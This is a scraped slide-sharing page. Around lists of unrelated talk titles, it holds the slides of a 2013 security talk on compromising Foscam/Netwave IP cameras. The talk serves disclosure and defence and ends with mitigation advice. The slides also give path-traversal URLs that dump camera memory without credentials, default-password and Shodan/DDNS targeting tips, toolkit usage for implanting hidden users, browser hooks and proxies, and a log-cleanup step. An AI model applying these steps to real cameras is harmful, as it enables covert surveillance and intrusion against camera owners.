From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DaySri Ambati
 

Dernier (20)

CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
 

24may 1000 valday sergey shekyan artem harutyunyan 'to watch or to be watched'

  • 1. To Watch Or To Be Watched Turning your surveillance camera against you Sergey Shekyan Artem Harutyunyan Qualys, Inc. Thursday, May 23, 13
  • 3. What can it do? “Enjoy the convenience and peace of mind knowing that your loved ones and personal belongings are safe and out of harm's way. Stream live video and audio directly to your PC (Windows & Mac), Smartphone (Iphone/ Android/Blackberry) or Tablet PC (Ipad/Android/Windows 8).” “Get instant notifications via email/ftp whenever motion is detected. Record snapshots when anyone enters or exits your driveway, backyard, home or business.” “Foscam is designed to work right of the box - simply connect the camera to your wireless network, setup port-forwarding and away you go. Once properly configured, the camera operates independently without the need for any computer.” Text from product description on amazon.com Thursday, May 23, 13
  • 4. Camera (Foscam FI8910W) Camera is built on Winbond W90N745 board (32bit ARM7TDMI) Runs uClinux (based on 2.4 Linux kernel) Board Support Package is available from the board vendor Any cheap MJPEG camera is most likely uses the same core Image from http://www.computersolutions.cn/ Thursday, May 23, 13
  • 7. System firmware Custom binary file to store compressed kernel and ROMFS image, ~ 1.8Mb header: magic, size of linux.bin, size of romfs.img linux.bin and romfs.img romfs.img contains ‘camera’ binary and uClinux boot scripts Thursday, May 23, 13
  • 8. linux.bin 00000000 50 4b 03 04 14 00 02 00 08 00 9c 40 62 40 52 be |PK.........@b@R.| 00000010 e3 97 6b df 0a 00 5c b7 15 00 09 00 00 00 6c 69 |..k..........li| 00000020 6e 75 78 2e 62 69 6e ec fd 0d 7c 54 c5 b9 07 8e |nux.bin...|T....| 00000030 cf d9 dd 24 4b 58 e1 24 9b 40 84 58 0e 10 6d c4 |...$KX.$.@.X..m.| 00000040 a8 07 88 36 6a 94 45 d0 52 a1 ba bc 29 b5 b4 8d |...6j.E.R...)...| 00000050 8a 96 de 62 8d 96 b6 dc 5e ac 9b 64 13 90 06 0c |...b....^..d....| 00000060 10 5e c4 68 b6 4a 7b d1 8b b7 b4 c5 96 6b 69 ef |.^.h.J{......ki.| 00000070 0a 68 a9 45 4b 15 5b 6b 69 3d bb 9b d3 84 2c 6d |.h.EK.[ki=....,m| 00000080 d3 96 f6 72 2d 75 7f df ef cc 6c 76 13 b1 2f f7 |...r-u....lv../.| 00000090 de df ef f3 ff 7c fe cd 87 61 f6 cc 99 33 af cf |.....|...a...3..| 000000a0 3c 6f f3 cc 33 22 1e 4b 3c 63 c6 52 af 8a 58 4a |<o..3".K<c.R..XJ| PK003004 Zip Thursday, May 23, 13
  • 9. romfs.img 00000000 2d 72 6f 6d 31 66 73 2d 00 0f f1 d0 c2 40 52 e1 |-rom1fs-.....@R.| 00000010 72 6f 6d 20 35 31 34 34 37 36 37 61 00 00 00 00 |rom 5144767a....| 00000020 00 00 00 49 00 00 00 20 00 00 00 00 d1 ff ff 97 |...I... ........| 00000030 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 60 00 00 00 20 00 00 00 00 d1 d1 ff 80 |...`... ........| 00000050 2e 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000060 00 00 00 c9 00 00 00 80 00 00 00 00 8b 92 8e b7 |................| 00000070 74 6d 70 00 00 00 00 00 00 00 00 00 00 00 00 00 |tmp.............| 00000080 00 00 00 a0 00 00 00 60 00 00 00 00 d1 ff ff 00 |.......`........| 00000090 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -rom1fs- ROMFS http://lxr.linux.no/linux/Documentation/filesystems/romfs.txt Thursday, May 23, 13
  • 12. WebUI Firmware Custom binary file format to store static content to be served by embedded web server, ~100Kb header: magic, checksum, file size, version) for each file: lengh of file name, file name, type (dir|file), length of file, file Thursday, May 23, 13
  • 13. WebUI Firmware 00000000 bd 9a 0c 44 19 ae 08 05 f4 2f 0f 00 02 04 0a 02 |...D...../......| 00000010 0a 00 00 00 2f 61 64 6d 69 6e 2e 68 74 6d 01 20 |..../admin.htm. | 00000020 04 00 00 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 |...<html>..<head| 00000030 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 |>..<meta http-eq| 00000040 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 |uiv="Content-Typ| 00000050 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 |e" content="text| 00000060 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 |/html; charset=u| 00000070 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 |tf-8">..<link re| 00000080 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 |l="stylesheet" h| 00000090 72 65 66 3d 22 73 74 79 6c 65 2e 63 73 73 22 20 |ref="style.css" | 000000a0 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e |type="text/css">| Sum of all bytes Thursday, May 23, 13
  • 14. Settings section Fixed size 5Kb data structure to store camera configuration header: magic, checksum, camera id, system firmware version, webUI version, camera alias user/password, network settings, wifi, e- mail, ftp, MSN credentials Thursday, May 23, 13
  • 15. Settings 00000000 bd 9a 0c 44 6f a1 00 00 34 15 00 00 30 30 36 32 |...Do...4...0062| 00000010 36 45 34 34 34 37 31 37 00 0b 25 02 2e 02 04 0a |6E444717..%.....| 00000020 03 63 61 6d 65 72 61 66 69 65 6c 64 64 64 64 64 |.camerafielddddd| 00000030 64 64 64 64 64 00 00 64 6d 69 6e 00 00 00 00 00 |ddddd..dmin.....| 00000040 00 00 00 61 61 61 00 00 00 00 00 00 00 00 00 00 |...aaa..........| 00000050 02 00 73 65 72 31 32 33 34 35 36 37 38 00 00 32 |..ser12345678..2| 00000060 33 34 35 36 37 38 39 30 31 32 00 00 00 6f 6f 6f |3456789012...ooo| 00000070 6f 6f 6f 6f 6f 6f 6f 6f 00 00 6f 6f 6f 6f 6f 6f |oooooooo..oooooo| 00000080 6f 6f 6f 6f 6f 00 00 00 00 00 00 00 00 00 00 00 |ooooo...........| Sum of all bytes Thursday, May 23, 13
  • 17. Auth bypass/privilege escalation CVE-2013-2560 by Arnaud Calmejane and Frederic Basse – allows to dump the entire memory, with no credentials http://cameraurl//proc/kcore http://cameraurl//../proc/kcore http://cameraurl/[existing path]/../../proc/kcore http://operator_usr:operator_pwd@camera/ decoder_control.cgi?command=1&next_url=/proc/kcore Thursday, May 23, 13
  • 18. kcore 00000030 00 00 00 00 00 00 61 64 6d 69 6e 00 00 00 00 00 |......admin.....| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000000f0 00 00 00 68 69 64 64 65 6e 5f 75 73 65 72 00 00 |...hidden_user..| 00000100 68 69 64 64 65 6e 5f 70 61 73 73 00 00 02 00 00 |hidden_pass.....| 00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| Thursday, May 23, 13
  • 19. kcore 01923b0: 353a 3264 3762 0d5f 6170 706c 652d 6d6f 5:2d7b._apple-mo 01923c0: 6264 6576 045f 7463 7005 6c6f 6361 6c00 bdev._tcp.local. 01923d0: 00ff 0001 0a53 6c6f 7768 616d 6d65 72c0 .....Slowhammer. ... 0192470: 3604 6172 7061 0000 0c80 0100 0000 7800 6.arpa........x. 0192480: 02c0 a202 3133 0131 0130 0231 3007 696e ....13.1.0.10.in 0192490: 2d61 6464 72c0 f300 0c80 0100 0000 7800 -addr.........x. ... 01927f0: 6167 6963 426f 7820 7072 6f64 7563 743d agicBox product= 0192800: 2842 726f 7468 6572 2048 4c2d 3231 3430 (Brother HL-2140 0192810: 2073 6572 6965 7329 2372 703d 4272 6f74 series)#rp=Brot Thursday, May 23, 13
  • 21. Getting a camera ... ... In the wild ~2 out of 10 cameras brought by Shodan (www.shodanhq.com) will authenticate you with ‘admin’ without password The vast majority of cameras have firmware vulnerable to path traversal vulnerability that allows authentication bypass Login bruteforce of server basic authentication (so 90s, but THC Hydra does a great job) ... Targeted Targeted CSRF attacks will always work until they redesign authentication Clickjacking Thursday, May 23, 13
  • 22. Got access. Now what? Thursday, May 23, 13
  • 23. What can you do? Grab videostream, email, ftp, MSN, wifi credentials It’s a Linux box on the Internet Run arbitrary software (think botnet, proxies, scanners) Host malware It’s a Linux box on the intranet too! Attack victim’s browser (think BeEF) Thursday, May 23, 13
  • 24. Cameras in the wild: SHODAN Source: www.shodanhq.com: (search for ‘Netwave IP Camera’) Port March 2013 May 2013 :80 83,894 251,722 :8080 16,565 27,258 :7777 408 310 :9200 358 265 :5000 90 137 Thursday, May 23, 13
  • 25. Cameras in the wild: SHODAN Source: www.shodanhq.com: (search for ‘Netwave IP Camera’) Countries March 2013 May 2013 USA 16,293 35,581 Germany 15,898 69,176 France 13,289 37,457 Thursday, May 23, 13
  • 26. DDNS can help too Camera vendors provide DDNS service Foscam - XX####.myfoscam.org (e.g. aa1234.myfoscam.org) EasyN - XXXX.ipcam.hk (e.g. aaaa.ipcam.hk) Apexis - X####.aipcam.com (e.g. a1234.aipcam.com) Wansview - ###XXXX.nwsvr1.com (e.g. 123aaaa.nwsvr1.com) Insteon - X#####. nwsvr1.com (e.g. a12345.myipcamera.com) Thursday, May 23, 13
  • 27. DDNS can help too Ports: 80, 8080, 7777, 8090 *.myfoscam.org 119597 valid IPs 10514 responded with ‘Server: Netwave IP Camera’ *.aipcam.com 15817 valid IPs 2290 responded with ‘Server: Netwave IP Camera’ Details at http://blog.shekyan.com/ Thursday, May 23, 13
  • 28. DEMO Create a backdoor Add a hidden user to the camera Add hook to victim’s browser Host a malware Host a proxy on the camera (inject new code) Details at http://blog.shekyan.com/ Thursday, May 23, 13
  • 29. Altering Camera Web UI: adding a hook to victim’s browser Figure out version of the Web UI (CGI API) Find the Web UI of the same version (internets) Unpack (uiextract) Add new code (patch) Pack everything back (uipack) Verify (uiextract) Push back to the camera (CGI API) Cleanup the log (CGI API) github.com/artemharutyunyan/getmecamtool Thursday, May 23, 13
  • 30. Altering the camera firmware: silently slipping a new code Figure out version of the firmware (CGI API) Find the firmware of the same version (internets) Unpack the firmware (sysextract) Add new code (prepare and cross-compile) Pack everything back (mount, cp, genromfs, syspack) Verify (sysextract) Push back to the camera (CGI API) Cleanup the log (CGI API) github.com/artemharutyunyan/getmecamtool Thursday, May 23, 13
  • 31. Usecase: a proxy GET / HTTP/1.1 Host: CONNECT: www.google.com:443 if(knows_im_a_proxy) tunnel_the_connection(); else connect_to_the_camera(); Internets NAT Thursday, May 23, 13
  • 32. Demo doing all of the above with a single command $ ./getmecamtool -h A script for demonstrating the work of camtool utilities Usage: ./getmecamtool -c <cmd> [OPTIONS] OPTIONS: -c <cmd> command (availble commands are host_file inject_exec inject_proxy poison_webui) -a <addr> address of the camera -u <username> username for accessing the camera -p <password> password for accessing the camera -e <exec> path to executable file for injecting to the camera -k <args> arguments with which the executable has to run -s <path> path to system firmware library folder -i <inject username> username to create on the camera -l <inject password> password for the new username -w <webui patch> absolute path to the Web UI patch file -o <new port> new port the camera firmware should listen on -h display this message $ github.com/artemharutyunyan/getmecamtool Thursday, May 23, 13
  • 33. DoS Accepts ~80 concurrent HTTP connections Takes seconds to get DoS Camera logs only authenticated requests, so no traces on the camera Use slowhttptest to simualte Application Layer DoS attacks! Thursday, May 23, 13
  • 34. Making it (less in)secure Ideally, do not expose the camera to oustide network. However, if you absolutely have to, then ... Use VPN Use firewall/IPS with strict rules Define authorized IPs (fail2ban) Protect against bruteforce (throttle down connection rate) Use reverse proxy HTTPS transport Override response headers Isolate the camera from the internal network Thursday, May 23, 13
  • 35. Summary for Hackers You just learned something ... and got a toolkit for trying things out Admins Slowly start watching for traffic coming from “Netwave IP Camera” Users Be careful exposing it Thursday, May 23, 13